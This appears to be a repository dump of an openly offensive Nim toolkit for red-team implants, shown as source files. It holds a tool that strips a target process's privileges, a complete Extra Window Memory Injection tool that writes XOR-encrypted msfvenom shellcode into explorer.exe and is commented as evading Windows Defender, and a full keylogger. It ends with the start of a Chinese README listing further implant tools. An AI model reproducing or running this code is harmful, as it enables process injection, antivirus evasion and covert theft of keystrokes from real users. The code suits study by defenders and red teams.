LookupPrivilegeValue(NULL, SE_DEBUG_NAME, addr currentDebugValue) == FALSE: 38 | echo &"[-] Failed to lookup current debug privilege [Error: {GetLastError()}]" 39 | CloseHandle(currentToken) 40 | return false 41 | 42 | newTokenPrivs.PrivilegeCount = 1 43 | newTokenPrivs.Privileges[0].Luid = currentDebugValue 44 | newTokenPrivs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED 45 | 46 | adjustSuccess = AdjustTokenPrivileges( 47 | currentToken, 48 | FALSE, 49 | addr newTokenPrivs, 50 | cast[DWORD](sizeof(newTokenPrivs)), 51 | NULL, 52 | NULL 53 | ) 54 | 55 | if adjustSuccess == FALSE or GetLastError() != ERROR_SUCCESS: 56 | echo &"[-] Failed to set debug privileges on current process [Error: {GetLastError()}]" 57 | CloseHandle(currentToken) 58 | return false 59 | 60 | echo "[+] Successfully set debug privs on current process" 61 | return true 62 | 63 | proc getPid(procname: string): int = 64 | var 65 | entry: PROCESSENTRY32 66 | hSnapshot: HANDLE 67 | 68 | entry.dwSize = cast[DWORD](sizeof(PROCESSENTRY32)) 69 | hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) 70 | defer: CloseHandle(hSnapshot) 71 | 72 | if Process32First(hSnapshot, addr entry): 73 | while Process32Next(hSnapshot, addr entry): 74 | if entry.szExeFile.toString == procname: 75 | var proc_pid = int(entry.th32ProcessID) 76 | echo("[+] Got target proc PID: ", proc_pid); 77 | return proc_pid 78 | 79 | return 0 80 | 81 | proc SetPrivilege(hToken: HANDLE; lpszPrivilege: LPCTSTR; bEnablePrivilege: BOOL): bool = 82 | var tp: TOKEN_PRIVILEGES 83 | var luid: LUID 84 | 85 | var lookupPriv: BOOL = LookupPrivilegeValue(NULL, lpszPrivilege, addr(luid)) 86 | if not bool(lookupPriv): 87 | echo("[-] LookupPrivilegeValue Error: ", GetLastError()) 88 | return false 89 | 90 | tp.PrivilegeCount = 1 91 | tp.Privileges[0].Luid = luid 92 | if bEnablePrivilege: 93 | tp.Privileges[0].Attributes = SE_PRIVILEGE_REMOVED 94 | else: 95 | tp.Privileges[0].Attributes = SE_PRIVILEGE_REMOVED 96 | 97 | ## Enable the privilege or disable all privileges. 98 | var adjustToken: BOOL = AdjustTokenPrivileges( 99 | hToken, 100 | FALSE, 101 | addr(tp), 102 | cast[DWORD](sizeof(TOKEN_PRIVILEGES)), 103 | NULL, 104 | NULL 105 | ) 106 | if not bool(adjustToken): 107 | echo("[-] AdjustTokenPrivileges error: ", GetLastError()) 108 | return false 109 | 110 | if GetLastError() == ERROR_NOT_ALL_ASSIGNED: 111 | echo("[-] The token does not have the specified privilege") 112 | return false 113 | 114 | return true 115 | 116 | when isMainModule: 117 | if len(commandLineParams()) == 0: 118 | echo "Usage: sandbox_process.exe [target process name]" 119 | quit(1) 120 | 121 | var sedebugnameValue: LUID 122 | 123 | discard setDebugPrivs() 124 | 125 | var pid: int = getPid(paramStr(1)) 126 | if not bool(pid): 127 | echo(&"[-] Wasn't able to find process '{paramStr(1)}' PID") 128 | 129 | var phandle: HANDLE = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, cast[DWORD](pid)) 130 | if phandle != INVALID_HANDLE_VALUE: 131 | echo(&"[*] Opened Target Handle [{phandle}]") 132 | else: 133 | echo("[-] Failed to open Process Handle") 134 | 135 | var ptoken: HANDLE 136 | var token: BOOL = OpenProcessToken(phandle, TOKEN_ALL_ACCESS, addr(ptoken)) 137 | if token: 138 | echo(&"[*] Opened Target Token Handle [{ptoken}]") 139 | else: 140 | echo(&"[-] Failed to open Token Handle: {GetLastError()}") 141 | 142 | LookupPrivilegeValue( 143 | NULL, 144 | SE_DEBUG_NAME, 145 | addr(sedebugnameValue) 146 | ) 147 | 148 | var tkp: TOKEN_PRIVILEGES 149 | tkp.PrivilegeCount = 1 150 | tkp.Privileges[0].Luid = sedebugnameValue 151 | tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED 152 | 153 | var tokenPrivs: BOOL = AdjustTokenPrivileges( 154 | ptoken, 155 | FALSE, 156 | addr(tkp), 157 | cast[DWORD](sizeof(tkp)), 158 | NULL, 159 | NULL 160 | ) 161 | if not bool(tokenPrivs): 162 | echo(&"[-] Failed to Adjust Token's Privileges [{GetLastError()}]") 163 | quit(1) 164 | 165 | 166 | #[ 167 | Explicitly removing the tokens might be overkill? just calling SetTokenInformation() and setting the integrity to "Untrusted" 168 | seems to disable all of the important token privileges automatically with the same desired outcome of "sandboxing" the remote process. 169 | 170 | Not exactly sure if there's any benifit of stripping the token vs just disabling it. 171 | ]# 172 | discard SetPrivilege(ptoken, SE_DEBUG_NAME, TRUE) 173 | discard SetPrivilege(ptoken, SE_CHANGE_NOTIFY_NAME, TRUE) 174 | discard SetPrivilege(ptoken, SE_TCB_NAME, TRUE) 175 | discard SetPrivilege(ptoken, SE_IMPERSONATE_NAME, TRUE) 176 | discard SetPrivilege(ptoken, SE_LOAD_DRIVER_NAME, TRUE) 177 | discard SetPrivilege(ptoken, SE_RESTORE_NAME, TRUE) 178 | discard SetPrivilege(ptoken, SE_BACKUP_NAME, TRUE) 179 | discard SetPrivilege(ptoken, SE_SECURITY_NAME, TRUE) 180 | discard SetPrivilege(ptoken, SE_SYSTEM_ENVIRONMENT_NAME, TRUE) 181 | discard SetPrivilege(ptoken, SE_INCREASE_QUOTA_NAME, TRUE) 182 | discard SetPrivilege(ptoken, SE_TAKE_OWNERSHIP_NAME, TRUE) 183 | discard SetPrivilege(ptoken, SE_INC_BASE_PRIORITY_NAME, TRUE) 184 | discard SetPrivilege(ptoken, SE_SHUTDOWN_NAME, TRUE) 185 | discard SetPrivilege(ptoken, SE_ASSIGNPRIMARYTOKEN_NAME, TRUE) 186 | echo("[*] Removed All Privileges") 187 | 188 | var integrityLevel: DWORD = SECURITY_MANDATORY_UNTRUSTED_RID 189 | 190 | var integrityLevelSid: SID 191 | integrityLevelSid.Revision = SID_REVISION 192 | integrityLevelSid.SubAuthorityCount = 1 193 | integrityLevelSid.IdentifierAuthority.Value[5] = 16 194 | integrityLevelSid.SubAuthority[0] = integrityLevel 195 | 196 | var tIntegrityLevel: TOKEN_MANDATORY_LABEL 197 | tIntegrityLevel.Label.Attributes = SE_GROUP_INTEGRITY 198 | tIntegrityLevel.Label.Sid = addr(integrityLevelSid) 199 | 200 | # TokenIntegrityLevel symbol was renamed to tokenIntegrityLevel in winim 201 | var tokenInfo = SetTokenInformation( 202 | ptoken, 203 | tokenIntegrityLevel, 204 | addr(tIntegrityLevel), 205 | cast[DWORD](sizeof(TOKEN_MANDATORY_LABEL) + GetLengthSid(addr(integrityLevelSid))) 206 | ) 207 | 208 | if not bool(tokenInfo): 209 | echo("[-] SetTokenInformation failed") 210 | else: 211 | echo("[*] Token Integrity set to Untrusted") 212 | 213 | CloseHandle(ptoken) 214 | CloseHandle(phandle) 215 | -------------------------------------------------------------------------------- /src/taskbar_ewmi_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Furkan Ayar, Twitter: @frknayar 3 | License: BSD 3-Clause 4 | 5 | This is NIM implementation of Extra Window Memory Injection via "Running applications" property of TaskBar 6 | References: 7 | - https://github.com/AXI4L/Community-Papers/blob/master/Code%20Injection%20using%20Taskbar/src.cpp 8 | ]# 9 | 10 | import winim 11 | import strformat 12 | import std_vector 13 | 14 | proc toString(chars: openArray[WCHAR]): string = 15 | result = "" 16 | for c in chars: 17 | if cast[char](c) == '\0': 18 | break 19 | result.add(cast[char](c)) 20 | 21 | proc GetProcessByName(process_name: string): DWORD = 22 | var 23 | pid: DWORD = 0 24 | entry: PROCESSENTRY32 25 | hSnapshot: HANDLE 26 | 27 | entry.dwSize = cast[DWORD](sizeof(PROCESSENTRY32)) 28 | hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) 29 | defer: CloseHandle(hSnapshot) 30 | 31 | if Process32First(hSnapshot, addr entry): 32 | while Process32Next(hSnapshot, addr entry): 33 | if entry.szExeFile.toString == process_name: 34 | pid = entry.th32ProcessID 35 | break 36 | 37 | return pid 38 | 39 | # Type definitions 40 | type 41 | HANDLE* = int 42 | HWND* = HANDLE 43 | UINT* = int32 44 | LPWSTR = ptr WCHAR 45 | CImpWndProc = object 46 | pfnAddRef, pfnRelease, pfnWndProc: int 47 | 48 | var g_hwndMSTaskListWClass: HWND 49 | 50 | proc EnumProc(hWnd: HWND, lP: LPARAM): BOOL = 51 | var szClass = newWideCString("",127) 52 | GetWindowText(hWnd, cast[LPWSTR](szClass), 127) 53 | if szClass == L"Running applications": 54 | g_hwndMSTaskListWClass = hWnd 55 | 56 | return TRUE 57 | 58 | when isMainModule: 59 | 60 | # Payload dependent constants 61 | const PAYLOADSIZE: SIZE_T = 319 62 | const XOR_KEY: byte = 0x08 63 | 64 | # Definition of variables 65 | var 66 | hwP: HWND 67 | hwC: HWND 68 | hwShellTray: HWND 69 | dwPid: DWORD = 0 70 | bytesRoW: SIZE_T 71 | m_windowPtr: LONG_PTR 72 | vMem: uint64 73 | vTableMem: uint64 74 | m_vTable: CImpWndProc 75 | ptrVTable: uint64 76 | shellcodeAddr: uint64 77 | 78 | # Getting process pid from name 79 | dwPid = GetProcessByName("explorer.exe") 80 | 81 | hwShellTray = FindWindowEx(hwP, hwC, L"Shell_TrayWnd", NULL) 82 | echo fmt"[<] ShellTrayWnd: 0x{hwShellTray.toHex}" 83 | EnumChildWindows(hwShellTray, cast[WNDENUMPROC](EnumProc), cast[LPARAM](NULL)) 84 | echo fmt"[*] Running applications: 0x{g_hwndMSTaskListWClass.toHex}" 85 | GetWindowThreadProcessId(g_hwndMSTaskListWClass, addr dwPid) 86 | echo fmt"[*] Process: explorer.exe Id: {dwPid}" 87 | let hProcess: HANDLE = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid) 88 | echo fmt"[*] Handle: 0x{hProcess.toHex}" 89 | m_windowPtr = GetWindowLongPtr(g_hwndMSTaskListWClass, 0) 90 | echo fmt"[*] VTable Ptr Ptr: 0x{m_windowPtr.toHex}" 91 | 92 | ReadProcessMemory(hProcess, cast[PVOID](m_windowPtr), addr ptrVTable, cast[SIZE_T](sizeof(ptrVTable)), addr bytesRoW) 93 | echo fmt"[*] VTable Ptr: 0x{ptrVTable.toHex}" 94 | ReadProcessMemory(hProcess, cast[PVOID](ptrVTable), addr m_vTable, cast[SIZE_T](sizeof(m_vTable)), addr bytesRoW) 95 | echo fmt"[*] [CImpWndProc.AddRef] -> 0x{m_vTable.pfnAddRef.toHex}" 96 | echo fmt"[*] [CImpWndProc.Release] -> 0x{m_vTable.pfnRelease.toHex}" 97 | echo fmt"[*] [CImpWndProc.WndProc] -> 0x{m_vTable.pfnWndProc.toHex}" 98 | 99 | # msfvenom -a x64 -p windows/x64/exec CMD=notepad.exe EXITFUNC=thread 100 | # Payload is encrypted with XOR 101 | var payload: array[319, byte] = [ 102 | byte 0x40,0x39,0xc1,0x40,0x89,0xe1,0xd5,0xf7,0xf7,0xf7,0x40,0x85,0x0d,0xe7, 103 | 0xf7,0xf7,0xf7,0x40,0xb3,0x84,0xee,0xf6,0x61,0xbf,0x6b,0xb6,0x68,0x40,0x39, 104 | 0x50,0x2f,0x40,0x25,0xf0,0xf7,0xf7,0xf7,0xea,0xfc,0x78,0xa6,0x75,0x85,0x4f, 105 | 0x83,0x76,0x68,0x84,0xee,0xb7,0x30,0xfe,0x3b,0xe4,0x39,0xd2,0xa6,0xc7,0xb3, 106 | 0xda,0x23,0x3d,0x3a,0xe4,0xa6,0x7d,0x33,0xa7,0x23,0x3d,0x3a,0xa4,0xa6,0x7d, 107 | 0x13,0xef,0x23,0xb9,0xdf,0xce,0xa4,0xbb,0x50,0x76,0x23,0x87,0xa8,0x28,0xd2, 108 | 0x97,0x1d,0xbd,0x47,0x96,0x29,0x45,0x27,0xfb,0x20,0xbe,0xaa,0x54,0x85,0xd6, 109 | 0xaf,0xa7,0x29,0x34,0x39,0x96,0xe3,0xc6,0xd2,0xbe,0x60,0x6f,0xe0,0x36,0xe0, 110 | 0x84,0xee,0xf6,0x29,0x3a,0xab,0xc2,0x0f,0xcc,0xef,0x26,0x31,0x34,0x23,0xae, 111 | 0x2c,0x0f,0xae,0xd6,0x28,0xbe,0xbb,0x55,0x3e,0xcc,0x11,0x3f,0x20,0x34,0x5f, 112 | 0x3e,0x20,0x85,0x38,0xbb,0x50,0x76,0x23,0x87,0xa8,0x28,0xaf,0x37,0xa8,0xb2, 113 | 0x2a,0xb7,0xa9,0xbc,0x0e,0x83,0x90,0xf3,0x68,0xfa,0x4c,0x8c,0xab,0xcf,0xb0, 114 | 0xca,0xb3,0xee,0x2c,0x0f,0xae,0xd2,0x28,0xbe,0xbb,0xd0,0x29,0x0f,0xe2,0xbe, 115 | 0x25,0x34,0x2b,0xaa,0x21,0x85,0x3e,0xb7,0xea,0xbb,0xe3,0xfe,0x69,0x54,0xaf, 116 | 0xae,0x20,0xe7,0x35,0xef,0x32,0xc5,0xb6,0xb7,0x38,0xfe,0x31,0xfe,0xeb,0x68, 117 | 0xce,0xb7,0x33,0x40,0x8b,0xee,0x29,0xdd,0xb4,0xbe,0xea,0xad,0x82,0xe1,0x97, 118 | 0x7b,0x11,0xab,0x29,0x05,0x6a,0xb6,0x68,0x84,0xee,0xf6,0x61,0xbf,0x23,0x3b, 119 | 0xe5,0x85,0xef,0xf6,0x61,0xfe,0xd1,0x87,0xe3,0xeb,0x69,0x09,0xb4,0x04,0x8b, 120 | 0xab,0x42,0x8e,0xaf,0x4c,0xc7,0x2a,0xd6,0x2b,0x97,0x51,0xa6,0x75,0xa5,0x97, 121 | 0x57,0xb0,0x14,0x8e,0x6e,0x0d,0x81,0xca,0x6e,0x0d,0x2f,0x97,0x9c,0x99,0x0b, 122 | 0xbf,0x32,0xf7,0xe1,0x5e,0x11,0x23,0x0f,0xd0,0x1f,0xd3,0x18,0xe5,0x8a,0xd8, 123 | 0x04,0xc7,0x0e,0xb6,0x68] 124 | 125 | # Allocating new memory for the new vTable 126 | vTableMem = cast[uint64](VirtualAllocEx(hProcess, NULL, 32, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE)) 127 | echo fmt"[*] New VTable: 0x{vTableMem.toHex}" 128 | 129 | # Writing payload into memory within a small trick in order to evade static checks of Windows Defender 130 | vMem = cast[uint64](VirtualAllocEx(hProcess, NULL, 4096, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE)) 131 | WriteProcessMemory(hProcess, cast[PVOID](vMem), unsafeAddr payload, PAYLOADSIZE, addr bytesRoW) 132 | for i in 0..(PAYLOADSIZE-1): 133 | var sc: char 134 | ReadProcessMemory(hProcess, cast[PVOID](vMem+cast[uint64](i*(sizeof(char)))), addr sc, (cast[SIZE_T](sizeof(char))), addr bytesRoW) 135 | sc = cast[char](cast[byte](sc) xor XOR_KEY) 136 | WriteProcessMemory(hProcess, cast[PVOID](vMem+cast[uint64](i*(sizeof(char)))), addr sc, (cast[SIZE_T](sizeof(char))), addr bytesRoW) 137 | echo fmt"[*] Payload Addr: 0x{vMem.toHex}" 138 | 139 | # Building shellcode to trigger the payload 140 | var shellcode = initVector[uint8]() 141 | shellcode.add(cast[uint8](0x48)) 142 | shellcode.add(cast[uint8](0xb8)) 143 | for i in 0..7: 144 | shellcode.add(cast[uint8](vMem shr cast[uint64](cast[uint8](i * 8) and cast[uint8](0xff)))) 145 | shellcode.add(cast[uint8](0xff)) 146 | shellcode.add(cast[uint8](0xd0)) 147 | shellcode.add(cast[uint8](0x48)) 148 | shellcode.add(cast[uint8](0xb8)) 149 | for i in 0..7: 150 | shellcode.add(cast[uint8](m_vTable.pfnRelease shr cast[uint64](cast[uint8](i * 8) and cast[uint8](0xff)))) 151 | shellcode.add(cast[uint8](0xff)) 152 | shellcode.add(cast[uint8](0xe0)) 153 | 154 | # Setting shellcode location at the end of payload 155 | shellcodeAddr = vMem + cast[uint64](PAYLOADSIZE) + cast[uint64](15) and cast[uint64](-16) 156 | m_vTable.pfnRelease = cast[int](shellcodeAddr) 157 | echo fmt"[*] Shellcode Addr: 0x{shellcodeAddr.toHex}" 158 | 159 | # Planting shellcode into memory 160 | for i in shellcode.toSeq: 161 | WriteProcessMemory(hProcess, cast[PVOID](shellcodeAddr), unsafeAddr i, cast[SIZE_T](sizeof(i)), addr bytesRoW) 162 | shellcodeAddr = shellcodeAddr + cast[uint64](cast[SIZE_T](sizeof(i))) 163 | 164 | WriteProcessMemory(hProcess, cast[PVOID](vTableMem), addr m_vTable, cast[SIZE_T](sizeof(m_vTable)), addr bytesRoW) 165 | # Overwriting the window memory in order to trigger shellcode 166 | WriteProcessMemory(hProcess, cast[PVOID](m_windowPtr), addr vTableMem, cast[SIZE_T](sizeof(vTableMem)), addr bytesRoW) 167 | CloseHandle(hProcess) 168 | echo fmt"[*] Done, Exiting.." 169 | quit(QuitSuccess) 170 | -------------------------------------------------------------------------------- /src/keylogger_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Authors: Marcello Salvati (@byt3bl33d3r), Scottie Austin (@checkymander) & Kiran Patel 3 | License: BSD 3-Clause 4 | 5 | References: 6 | - https://github.com/cobbr/SharpSploit/blob/2fdfc2eec891717884484bb7dde15f8a12113ad3/SharpSploit/Enumeration/Keylogger.cs 7 | ]# 8 | 9 | import winim 10 | import tables 11 | import strformat 12 | import strutils 13 | 14 | type 15 | Keys = enum 16 | Modifiers = -65536 17 | None = 0 18 | LButton = 1 19 | RButton = 2 20 | Cancel = 3 21 | MButton = 4 22 | XButton1 = 5 23 | XButton2 = 6 24 | Back = 8 25 | Tab = 9 26 | LineFeed = 10 27 | Clear = 12 28 | #Return = 13 29 | Enter = 13 30 | ShiftKey = 16 31 | ControlKey = 17 32 | Menu = 18 33 | Pause = 19 34 | Capital = 20 35 | #CapsLock = 20 36 | KanaMode = 21 37 | #HanguelMode = 21 38 | #HangulMode = 21 39 | JunjaMode = 23 40 | FinalMode = 24 41 | #HanjaMode = 25 42 | KanjiMode = 25 43 | Escape = 27 44 | IMEConvert = 28 45 | IMENonconvert = 29 46 | IMEAccept = 30 47 | #IMEAceept = 30 48 | IMEModeChange = 31 49 | Space = 32 50 | #Prior = 33 51 | PageUp = 33 52 | #Next = 34 53 | PageDown = 34 54 | End = 35 55 | Home = 36 56 | Left = 37 57 | Up = 38 58 | Right = 39 59 | Down = 40 60 | Select = 41 61 | Print = 42 62 | Execute = 43 63 | #Snapshot = 44 64 | PrintScreen = 44 65 | Insert = 45 66 | Delete = 46 67 | Help = 47 68 | D0 = 48 69 | D1 = 49 70 | D2 = 50 71 | D3 = 51 72 | D4 = 52 73 | D5 = 53 74 | D6 = 54 75 | D7 = 55 76 | D8 = 56 77 | D9 = 57 78 | A = 65 79 | B = 66 80 | C = 67 81 | D = 68 82 | E = 69 83 | F = 70 84 | G = 71 85 | H = 72 86 | I = 73 87 | J = 74 88 | K = 75 89 | L = 76 90 | M = 77 91 | N = 78 92 | O = 79 93 | P = 80 94 | Q = 81 95 | R = 82 96 | S = 83 97 | T = 84 98 | U = 85 99 | V = 86 100 | W = 87 101 | X = 88 102 | Y = 89 103 | Z = 90 104 | LWin = 91 105 | RWin = 92 106 | Apps = 93 107 | Sleep = 95 108 | NumPad0 = 96 109 | NumPad1 = 97 110 | NumPad2 = 98 111 | NumPad3 = 99 112 | NumPad4 = 100 113 | NumPad5 = 101 114 | NumPad6 = 102 115 | NumPad7 = 103 116 | NumPad8 = 104 117 | NumPad9 = 105 118 | Multiply = 106 119 | Add = 107 120 | Separator = 108 121 | Subtract = 109 122 | Decimal = 110 123 | Divide = 111 124 | F1 = 112 125 | F2 = 113 126 | F3 = 114 127 | F4 = 115 128 | F5 = 116 129 | F6 = 117 130 | F7 = 118 131 | F8 = 119 132 | F9 = 120 133 | F10 = 121 134 | F11 = 122 135 | F12 = 123 136 | F13 = 124 137 | F14 = 125 138 | F15 = 126 139 | F16 = 127 140 | F17 = 128 141 | F18 = 129 142 | F19 = 130 143 | F20 = 131 144 | F21 = 132 145 | F22 = 133 146 | F23 = 134 147 | F24 = 135 148 | NumLock = 144 149 | Scroll = 145 150 | LShiftKey = 160 151 | RShiftKey = 161 152 | LControlKey = 162 153 | RControlKey = 163 154 | LMenu = 164 155 | RMenu = 165 156 | BrowserBack = 166 157 | BrowserForward = 167 158 | BrowserRefresh = 168 159 | BrowserStop = 169 160 | BrowserSearch = 170 161 | BrowserFavorites = 171 162 | BrowserHome = 172 163 | VolumeMute = 173 164 | VolumeDown = 174 165 | VolumeUp = 175 166 | MediaNextTrack = 176 167 | MediaPreviousTrack = 177 168 | MediaStop = 178 169 | MediaPlayPause = 179 170 | LaunchMail = 180 171 | SelectMedia = 181 172 | LaunchApplication1 = 182 173 | LaunchApplication2 = 183 174 | OemSemicolon = 186 175 | #Oem1 = 186 176 | Oemplus = 187 177 | Oemcomma = 188 178 | OemMinus = 189 179 | OemPeriod = 190 180 | OemQuestion = 191 181 | #Oem2 = 191 182 | Oemtilde = 192 183 | #Oem3 = 192 184 | OemOpenBrackets = 219 185 | #Oem4 = 219 186 | OemPipe = 220 187 | #Oem5 = 220 188 | OemCloseBrackets = 221 189 | #Oem6 = 221 190 | OemQuotes = 222 191 | #Oem7 = 222 192 | Oem8 = 223 193 | OemBackslash = 226 194 | #Oem102 = 226 195 | ProcessKey = 229 196 | Packet = 231 197 | Attn = 246 198 | Crsel = 247 199 | Exsel = 248 200 | EraseEof = 249 201 | Play = 250 202 | Zoom = 251 203 | NoName = 252 204 | Pa1 = 253 205 | OemClear = 254 206 | KeyCode = 65535 207 | Shift = 65536 208 | Control = 131072 209 | Alt = 262144 210 | 211 | var 212 | KeyDict = { 213 | Keys.Attn: "[Attn]", 214 | Keys.Clear: "[Clear]", 215 | Keys.Down: "[Down]", 216 | Keys.Up: "[Up]", 217 | Keys.Left: "[Left]", 218 | Keys.Right: "[Right]", 219 | Keys.Escape: "[Escape]", 220 | Keys.Tab: "[Tab]", 221 | Keys.LWin: "[LeftWin]", 222 | Keys.RWin: "[RightWin]", 223 | Keys.PrintScreen: "[PrintScreen]", 224 | Keys.D0: "0", 225 | Keys.D1: "1", 226 | Keys.D2: "2", 227 | Keys.D3: "3", 228 | Keys.D4: "4", 229 | Keys.D5: "5", 230 | Keys.D6: "6", 231 | Keys.D7: "7", 232 | Keys.D8: "8", 233 | Keys.D9: "9", 234 | Keys.Space: " ", 235 | Keys.NumLock: "[NumLock]", 236 | Keys.Alt: "[Alt]", 237 | Keys.LControlKey: "[LeftControl]", 238 | Keys.RControlKey: "[RightControl]", 239 | #Keys.CapsLock: "[CapsLock]", 240 | Keys.Delete: "[Delete]", 241 | Keys.Enter: "[Enter]", 242 | Keys.Divide: "/", 243 | Keys.Multiply: "*", 244 | Keys.Add: "+", 245 | Keys.Subtract: "-", 246 | Keys.PageDown: "[PageDown]", 247 | Keys.PageUp: "[PageUp]", 248 | Keys.End: "[End]", 249 | Keys.Insert: "[Insert]", 250 | Keys.Decimal: ".", 251 | Keys.OemSemicolon: ";", 252 | Keys.Oemtilde: "`", 253 | Keys.Oemplus: "=", 254 | Keys.OemMinus: "-", 255 | Keys.Oemcomma: ",", 256 | Keys.OemPeriod: ".", 257 | Keys.OemPipe: "\\", 258 | Keys.OemQuotes: "\"", 259 | Keys.OemCloseBrackets: "]", 260 | Keys.OemOpenBrackets: "[", 261 | Keys.Home: "[Home]", 262 | Keys.Back: "[Backspace]", 263 | Keys.NumPad0: "0", 264 | Keys.NumPad1: "1", 265 | Keys.NumPad2: "2", 266 | Keys.NumPad3: "3", 267 | Keys.NumPad4: "4", 268 | Keys.NumPad5: "5", 269 | Keys.NumPad6: "6", 270 | Keys.NumPad7: "7", 271 | Keys.NumPad8: "8", 272 | Keys.NumPad9: "9", 273 | }.toTable() 274 | 275 | KeyDictShift = { 276 | Keys.D0: ")", 277 | Keys.D1: "!", 278 | Keys.D2: "@", 279 | Keys.D3: "#", 280 | Keys.D4: "$", 281 | Keys.D5: "%", 282 | Keys.D6: "^", 283 | Keys.D7: "&", 284 | Keys.D8: "*", 285 | Keys.D9: "(", 286 | Keys.OemSemicolon: ":", 287 | Keys.Oemtilde: "~", 288 | Keys.Oemplus: "+", 289 | Keys.OemMinus: "_", 290 | Keys.Oemcomma: "<", 291 | Keys.OemPeriod: ">", 292 | Keys.OemPipe: "|", 293 | Keys.OemQuotes: "'", 294 | Keys.OemCloseBrackets: "", 295 | Keys.OemOpenBrackets: "", 296 | }.toTable() 297 | 298 | proc GetActiveWindowTitle(): LPWSTR = 299 | var capacity: int32 = 256 300 | var builder: LPWSTR = newString(capacity) 301 | var wHandle = GetForegroundWindow() 302 | defer: CloseHandle(wHandle) 303 | GetWindowText(wHandle, builder, capacity) 304 | return builder 305 | 306 | proc HookCallback(nCode: int32, wParam: WPARAM, lParam: LPARAM): LRESULT {.stdcall.} = 307 | if nCode >= 0 and wParam == WM_KEYDOWN: 308 | var keypressed: string 309 | var kbdstruct: PKBDLLHOOKSTRUCT = cast[ptr KBDLLHOOKSTRUCT](lparam) 310 | var currentActiveWindow = GetActiveWindowTitle() 311 | var shifted: bool = (GetKeyState(160) < 0) or (GetKeyState(161) < 0) 312 | var keycode: Keys = cast[Keys](kbdstruct.vkCode) 313 | 314 | if shifted and (keycode in KeyDictShift): 315 | keypressed = KeyDictShift.getOrDefault(keycode) 316 | elif keycode in KeyDict: 317 | keypressed = KeyDict.getOrDefault(keycode) 318 | else: 319 | var capped: bool = (GetKeyState(20) != 0) 320 | if (capped and shifted) or not (capped or shifted): 321 | keypressed = $toLowerAscii(chr(ord(keycode))) 322 | else: 323 | keypressed = $toUpperAscii(chr(ord(keycode))) 324 | 325 | echo fmt"[*] Key: {keypressed} [Window: '{currentActiveWindow}']" 326 | return CallNextHookEx(0, nCode, wParam, lParam) 327 | 328 | var hook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC) HookCallback, 0, 0) 329 | if bool(hook): 330 | try: 331 | echo "[*] Hook successful" 332 | PostMessage(0, 0, 0, 0) 333 | 334 | var msg: MSG 335 | while GetMessage(msg.addr, 0, 0, 0): 336 | discard 337 | finally: 338 | UnhookWindowsHookEx(hook) 339 | -------------------------------------------------------------------------------- /README_CN.md: -------------------------------------------------------------------------------- 1 |

2 | OffensiveNim 3 |

4 | 5 | # OffensiveNim 6 | 7 | 这是我使用[Nim](https://nim-lang.org/)开发implant(植入体)和常用的攻击作战工具的实验。 8 | 9 | ## 目录 10 | 11 | - [OffensiveNim](#offensivenim) 12 | * [为什么用Nim](#为什么用Nim) 13 | * [使用范例](#使用范例) 14 | * [范例中的半成品](#范例中的半成品) 15 | * [编译范例](#编译范例) 16 | * [跨平台编译](#跨平台编译) 17 | * [C/C++接口](#C/C++接口) 18 | * [用DllMain入口点函数创建Windows DLLs](#用-dllmain入口点函数创建windows-dlls) 19 | * [优化可执行程序大小](#优化可执行程序大小) 20 | * [是否使用Winim库,可执行程序大小是不同的](#是否使用Winim库,可执行程序大小是不同的) 21 | * [Opsec考虑](#Opsec考虑) 22 | * [转换C代码去Nim](#转换C代码去Nim) 23 | * [跨语言使用](#跨语言使用) 24 | * [调试](#调试) 25 | * [配置开发环境](#配置开发环境) 26 | * [我遇到过的陷阱](#我遇到过的陷阱) 27 | * [有趣的Nim库](#有趣的Nim库) 28 | * [Nim植入体开发相关连接](#Nim植入体开发相关连接) 29 | 30 | ## 为什么用Nim 31 | 32 | - 直接编译成 C, C++, Objective-C 和 Javascript。 33 | - 由于它不依赖于VM/运行时不会产生像别的语言一样的"T H I C C malwarez"(e.g. Golang)。 34 | - 受Python语法启发, 允许快速的创建native payload和样本制作。 35 | - 有**非常**成熟的 [FFI](https://nim-lang.org/docs/manual.html#foreign-function-interface) (Foreign Function Interface) 能力。 36 | - 避免使用C/C++代码编写,同时也就避免了在软件中引入一些安全问题. 37 | - 超级容易在*nix/MacOS系统上跨平台编译Windows程序, 仅仅需要安装 `mingw` 工具集和给nim编译器指定一个参数。 38 | - Nim编译器支持大多数主流平台的可执行程序生成,如:Windows、Linux、BSD和macOS。甚至能够支持Nintendo switch、IOS和Android平台。查看跨平台编译部分的详情在[Nim编译器使用指南](https://nim-lang.github.io/Nim/nimc.html#crossminuscompilation) 39 | - 从技术上讲,你能够使用Nim编写implant(植入体)和c2后端,因为你可以直接将代码编译成 Javascript。Nim甚至初步支持 [WebAssembly](https://forum.nim-lang.org/t/4779) 40 | 41 | ## 使用范例 42 | 43 | | File | Description | 44 | | --- | --- | 45 | | `pop_bin.nim` | 调用 `MessageBox` 使用WinApi,不用Winim库 | 46 | | `pop_winim_bin.nim` | 调用 `MessageBox` 使用Winim库 | 47 | | `execute_assembly_bin.nim` | 托管CLR,在内存中反射执行.NET assemblies | 48 | | `clr_host_cpp_embed_bin.nim` | 通过直接嵌入C++代码托管CLR,执行硬盘上的.NET assembly | 49 | | `scshell_c_embed_bin.nim` | 通过将[SCShell](https://github.com/Mr-Un1k0d3r/SCShell)(C)直接嵌入Nim中,来演示如何快速武器化现有C代码工具 | 50 | | `fltmc_bin.nim` | 枚举所有Minifilter驱动程序 | 51 | | `blockdlls_acg_ppid_spoof_bin.nim` | 创建一个挂起的进程并使用PPID欺骗,使它的父进程为explorer.exe, 同时开启BlockDLLs和ACG | 52 | | `named_pipe_client_bin.nim` | 命名管道客户端 | 53 | | `named_pipe_server_bin.nim` | Named Pipe Server | 54 | | `pop_winim_lib.nim` | 举例创建一个具有 `DllMain`入口点函数的Windows DLL | 55 | | `wmiquery_bin.nim` | 使用WMI查询运行和安装的杀毒软件 | 56 | | `shellcode_bin.nim` | 